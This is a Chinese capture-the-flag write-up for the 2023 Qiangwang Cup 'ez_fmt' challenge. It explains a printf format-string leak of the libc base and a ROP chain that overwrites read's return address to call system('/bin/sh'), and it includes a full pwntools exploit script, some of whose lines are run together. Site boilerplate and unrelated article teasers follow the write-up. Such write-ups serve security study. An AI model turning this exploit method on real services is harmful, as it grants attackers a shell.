2023-强网杯-【强网先锋-ez_fmt】

文章目录

  • ez_fmt libc-2.31.so
    • 检查
    • main
    • 思路
    • exp

参考链接

ez_fmt libc-2.31.so

检查

没有地址随机化
在这里插入图片描述

main

在这里插入图片描述
简单粗暴的printf格式化字符串漏洞

思路

泄露地址,覆盖返回地址形成ROP链
printf执行时栈上存在__libc_start_main+243的指令的地址,可以泄露地址进而得到libc基地址
关于覆盖返回地址,我们可以修改main的返回地址或者printf的返回地址
如果修改main的返回地址,但提供的允许输入的格式化字符串长度可能不够
那修改printf的返回地址,然后计算出libc基地址和system的地址,然后再执行原来的read和printf的格式化字符串漏洞,此时修改printf的返回地址为system的地址,但此时发现system的地址如果要修改所需要的字符串数可能不够
在这里插入图片描述
此时相当与要把0x4012ce修改为0x7f7569415000,此时光是地址参数就能塞爆运行输入的长度了,所以修改printf的返回地址为全新的一个肯定不行,但只修改部分又没用
所以。。。。。
不如修改read的返回地址,此时由于read输入的buf的位置没变,但调用之前将要push的返回地址永远是在当前栈顶-8的位置,那么如果buf的位置在当前调用之前的栈顶的上面的,就可以实现修改read返回地址,由于此时是输入性质的,那么可以大改特改read的返回地址

main函数的下面就是libc_init_csu,我们可以利用pop指令取将栈顶的位置降低,从而使得read的返回地址在buf的范围内
由于格式化字符串中写入和输出libc_start_main的参数就占了16个字节,而剩下部分还有返回read的地址和控制pop的返回地址
而为了使得read的返回地址在buf的范围内。那么要使得pop后栈顶依然在buf的范围内,另一方面要使得pop后ret能够成功跳转回read函数,所以至少得两个pop,从libc_ini_csu选择即可
此时先跳转到pop再跳转回read,不然反过来read的返回地址不在buf的范围内
在这里插入图片描述
read的指令
在这里插入图片描述
此时read的地址是在pop后面的,在栈上相应位置,而修改printf的返回地址为pop的地址只需修改低位字节即可
泄露libc_start_main+243的位置此时对应19个参数,printf后可以计算得到libc基地址
在这里插入图片描述
read输入此时向返回地址构造rop链即可
使用ROPgadget找到合适的pop rdi; ret 然后利用libc.search(b"/bin/sh")找到参数的地址,最后调用system即可

exp

from pwn import *
libc=ELF("./libc-2.31.so")
f=process("./ez_fmt")
context(os="linux",arch="amd64",log_level="debug")
gdb.attach(f,"b main")
f.recvuntil(b"There is a gift for you ")
stack_buf=int(f.recvuntil(b"\n",drop=True),16)
print(p64(stack_buf-8))
payload=flat({0:"%{}c%9$hhn%19$p".format(0xd0) ,0x10: p64(0x0000000000401205)+p64(stack_buf-8)}
)
f.sendline(payload)
f.recvuntil(b"0x")
libc_start_main_243=int(f.recv(12),16)
libc_base=libc_start_main_243-243-libc.sym["__libc_start_main"]print(hex(libc_base))
print(hex(libc.search(b"/bin/sh").__next__()))
pop_rdi_ret=p64(0x00000000004012d3)
print(len(payload))
payload=flat({0x10:pop_rdi_ret+p64(libc_base+libc.search(b"/bin/sh\x00").__next__()),#注意search()是括号0x20:p64(libc_base+libc.sym["system"])}
) # 0x10前面的部分会自动随机填充
print(len(payload))
print(payload)
f.sendline(payload)f.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/240246.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++哈希表的实现

C哈希表的实现 一.unordered系列容器的介绍二.哈希介绍1.哈希概念2.哈希函数的常见设计3.哈希冲突4.哈希函数的设计原则 三.解决哈希冲突1.闭散列(开放定址法)1.线性探测1.动图演示2.注意事项3.代码的注意事项4.代码实现 2.开散列(哈希桶,拉链法)1.概念2.动图演示3.增容问题1.拉…

MyBatis 架构分析

文章目录 三层架构一、基础支撑层1.1 类型转换模块1.2 日志模块1.3 反射工具模块1.4 Binding 模块1.5 数据源模块1.6 缓存模块1.6 解析器模块1.7 事务管理模块 二、核心处理层2.1 配置解析2.2 SQL 解析与 scripting 模块。2.3 MyBatis 中的 scripting 模块就是负责动态生成 SQL…

SpringCloud Alibaba(itheima)

SpringCloud Alibaba 第一章 微服务介绍1.1系统架构演变1.1.1单体应用架构1.1.2垂直应用架构1.1.3分布式架构1.1.4 SOA架构1.1.5微服务架构 1.2微服务架构介绍1.2.1微服务架构的常见问题1.2.2微服务架构的常见概念1.2.3微服务架构的常见解决方案 1.3 SpringCloud Alibaba介绍1.…

用23种设计模式打造一个cocos creator的游戏框架----(二十二)原型模式

1、模式标准 模式名称:原型模式 模式分类:创建型 模式意图:用原型实例指定创建对象的种类,并且通过复制这些原型创建新的对象 结构图: 适用于: 1、当一个系统应该独立于它的产品创建、构成和表示时 2、…

BUUCTF-Crypto合集-WP

获取CTF工具可关注CSJH网络安全团队,回复CTF工具 一眼就解密 下面的字符串解密后便能获得flag:ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30 注意:得到的 flag 请包上 flag{} 提交 大小写字母加数字,而且等于号结尾,bas…

实在智能斩获钛媒体2023全球创新评选科技类「 大模型创新应用奖」

近日,历时三天的钛媒体2023 T-EDGE全球创新大会以“新视野新链接”为主题在北京隆重举办。作为科创领域全新高度的年度盛事,大会吸引了AI各产业链近百位海内外创投人、尖端企业家、商业领袖和国际嘉宾齐聚一堂,围绕新一轮AI革命、智慧数字化、…

Java中使用JTS实现WKB数据写入、转换字符串、读取

场景 Java中使用JTS实现WKT字符串读取转换线、查找LineString的list中距离最近的线、LineString做缓冲区扩展并计算点在缓冲区内的方位角: Java中使用JTS实现WKT字符串读取转换线、查找LineString的list中距离最近的线、LineString做缓冲区扩展并计算点在缓冲区内…

从Maven初级到高级

一.Maven简介 Maven 是 Apache 软件基金会组织维护的一款专门为 Java 项目提供构建和依赖管理支持的工具。 一个 Maven 工程有约定的目录结构,约定的目录结构对于 Maven 实现自动化构建而言是必不可少的一环,就拿自动编译来说,Maven 必须 能…

python调用DALL·E绘画

实现用gpt的api和他对话后,我们试着调用DALLE的api进行绘画 参考文档 OpenAI API 运行代码 from openai import OpenAIclient OpenAI()user_prompt input("请输入您想生成的图片描述: ")response client.images.generate(model"dall-e-3"…

分享70个Java源码总有一个是你想要的

分享70个Java源码总有一个是你想要的 学习知识费力气,收集整理更不易。 知识付费甚欢喜,为咱码农谋福利。 源码下载链接:https://pan.baidu.com/s/1uyWfeUuO_4jRbAEw825qRw?pwd6666 提取码:6666 项目名称 CRUD is ReallyU…

电商数据之巅:挖掘无限价值的蓝海

在数字时代的大潮中,数据已成为新的黄金和石油,尤其在电商领域。电商平台每天都在产生海量的数据,这些数据不仅是对消费者行为的记录,更是隐藏着无限的商机和价值。本文将带你走进电商数据的神奇世界,探寻其无尽可能的…

Go 泛型发展史与基本介绍

Go 泛型发展史与基本介绍 Go 1.18版本增加了对泛型的支持,泛型也是自 Go 语言开源以来所做的最大改变。 文章目录 Go 泛型发展史与基本介绍一、为什么要加入泛型?二、什么是泛型三、泛型的来源四、为什么需要泛型五、Go 泛型设计的简史六、泛型语法6.1 …

实战篇:一文讲清楚商品分析之返货品画像分析怎么做

01 什么是商品画像,怎样进行分析 “用户画像对于小伙伴们来说并不陌生,那有小伙伴知道商品画像吗?其实它和用户画像一样,可以简单理解成是商品海量数据的标签。”   商品画像的意义在于可以对商品进行精准的定位,让不…

探索人工智能 | 计算机视觉 让计算机打开新灵之窗

前言 计算机视觉是一门研究如何使机器“看”的科学,更进一步的说,就是指用摄影机和电脑代替人眼对目标进行识别、跟踪和测量等机器视觉,并进一步做图形处理,使电脑处理成为更适合人眼观察或传送给仪器检测的图像。 文章目录 前言…

重生奇迹mu翅膀合成

在重生奇迹mu中,合成翅膀需要准备好翅膀碎片、宝石、羽毛、强化精华等材料,而其中不同翅膀合成要求的材料和数量略有不同。以下是一般合成翅膀的步骤: 1.首先,需要在背包中准备好所有的合成材料。如果缺少任何一种材料&#xff0…

Node.js安装部署

Node.js安装部署 在 Windows 上安装 Node.js1.使用安装程序2.使用包管理器 Chocolatey 安装 在 macOS 上安装 Node.js1.使用 Homebrew 安装 在 Linux 上安装 Node.js1.使用包管理器安装2.使用 Node.js 官方二进制包 安装完成验证 Node.js 是一个基于 Chrome V8 引擎的 JavaScri…

实验一传统的结构化的软件工程方法、实验二面向对象的软件工程、实验三软件测试

背景: 实验一 传统的结构化的软件工程方法 1实验目的 了解传统的软件工程方法的基本原理,掌握软件生命周期的全过程依次划分为需求分析、总体设计、详细设计、编码、测试、维护等几个重要阶段。每个阶段所要完成的任务以及提交的文档。 2实验内容 …

【LeetCode:2828. 判别首字母缩略词 | 模拟遍历】

🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…

腾讯云服务器root登录(轻量应用服务器)

Ubuntu 系统如何使用 root 用户登录实例? Ubuntu 系统的默认用户名是 ubuntu,并在安装过程中默认不设置 root 账户和密码。您如有需要,可在设置中开启允许 root 用户登录。具体操作步骤如下: 1. 使用 ubuntu 账户登录轻量应用服…

基于Java+SpringBoot+vue+element疫情物资捐赠分配系统设计和实现

基于JavaSpringBootvueelement疫情物资捐赠分配系统设计和实现 🍅 作者主页 系统定制开发 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 🍅 文末获取源码联系方式 📝 文章目录 基于JavaSpringBootvueelement疫情物资捐赠…